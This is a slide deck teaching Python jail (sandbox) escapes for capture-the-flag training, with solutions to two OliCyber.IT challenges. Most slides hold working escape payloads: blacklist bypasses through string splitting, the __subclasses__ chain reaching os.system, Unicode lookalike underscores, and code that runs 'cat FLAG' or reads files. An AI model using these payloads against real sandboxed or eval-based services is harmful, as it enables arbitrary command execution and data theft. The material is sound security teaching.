Introduction to Python Jails

# Introduction to Python Jails Alberto Carboneri <@Alberto247> Matteo Protopapa <@matpro> --- ## Intro ---- ## What is a Python Jail? A piece of software that: - executes some code  - but NOT the malicious one  ---- ## What is not a Python Jail ```python while True: code = input('>>> ') print(eval(code)) ``` ---- ## Blacklist-based Jails ```python while True: code = input('>>> ') if any((x in code) for x in ['import', 'exec', 'eval', 'open', 'os', 'system', 'subprocess', 'sys', 'builtins']): print('Error: blacklisted keyword') continue eval(code) ``` __Solution__: ```python globals()['__buil''tins__'].__dict__['ev''al'] ```  ---- ## Non-Builtins Jails ```python while True: code = input('>>> ') if any((x in code) for x in ['import', 'exec', ...]): print('Error: blacklisted keyword') continue eval(code, {'__builtins__': None}) ``` __Non working solution__: ```python globals()['__buil''tins__'].__dict__['ev''al'] ^^^^^^^ NameError: name 'globals' is not defined ```  __Working solution__: ```python ().__class__.__base__.__subclasses__()[137] .__init__.__globals__['system'] ```  --- ## The double underscore Almost every payload requires the use of `__` So let's ban it: ```python if("__" in code): throw("Illegal...") ``` ---- ## Still pwnable? ```python ()._＿class_＿._＿base_＿._＿subclasses_＿()[137] ._＿init_＿._＿globals_＿['system'] ``` __Notice something here?__ ---- ## Yep, all of these work ```python ()._︳class_︳._︳base_︳._︳subclasses_︳()[137] ._︳init_︳._︳globals_︳['system'] ``` ```python ()._﹍class_﹍._﹍base_﹍._﹍subclasses_﹍()[137] ._﹍init_﹍._﹍globals_﹍['system'] ``` ```python ()._︴class_︴._︴base_︴._︴subclasses_︴()[137] ._︴init_︴._︴globals_︴['system'] ``` ```python ()._﹎class_﹎._﹎base_﹎._﹎subclasses_﹎()[137] ._﹎init_﹎._﹎globals_﹎['system'] ``` ---- ## In fact... This is valid Python code! ```python _﹎𝙞𝙢𝙥𝙤𝙧𝙩_︴("os").𝖘𝕪𝖘𝖙𝖊𝕞("whoami") ```  --- ## In practice ---- ## Sandbox-v1.py OliCyber.IT 2023 - Competizione Nazionale https://training.olicyber.it/challenges#challenge-432 ![qr](https://hackmd.io/_uploads/r1cENcWBC.png) <style> img[alt=qr] { width: 400px; } </style> ---- ## Sandbox-v1.py `'flag'` is blocked, but `'FLAG'.lower()` is not __Solution__: ```python exec("IMPORT OS; OS.SYSTEM('cat FLAG')".lower()) ```  ---- ## Sandbox-v2.py OliCyber.IT 2023 - Competizione Nazionale https://training.olicyber.it/challenges#challenge-433 ![qr](https://hackmd.io/_uploads/rJveP5-SC.png) <style> img[alt=qr] { width: 400px; } </style> ---- ## Sandbox-v2.py Every user defined function has a reference to the global variables of the global scope of the file ```python In [1]: def fun(): ...: pass ...: In [2]: globals() is fun.__globals__ Out[2]: True In [3]: fun.__globals__["__builtins__"] Out[3]: <module 'builtins' (built-in)> ```  ---- ## Sandbox-v2.py Python classes have a reference to the base class and a list of subclasses ```python >>> ().__class__.__base__.__subclasses__() [<class 'type'>, <class 'async_generator'>, <class 'int'>, ... <class 'code.InteractiveInterpreter'>, <class 'ast.AST'>] ```  ---- ## Sandbox-v2.py `<class 'code.InteractiveInterpreter'>` is a user defined class, so we can recover the builtins ```python ii = ().__class__.__base__.__subclasses__()[-2] gb = ii.__init__.__globals__ __builtins__ = [*gb.values()][7] ```  ---- ## Sandbox-v2.py We can confirm that the builtins are available ```python >>> open <built-in function open> >>> chr <built-in function chr> ```  ---- ## Sandbox-v2.py __Solution__: ```python ii = ().__class__.__base__.__subclasses__()[-2] gb = ii.__init__.__globals__ __builtins__ = [*gb.values()][7] open(chr(102)+chr(108)+chr(97)+chr(103)).read() ``` --- # The end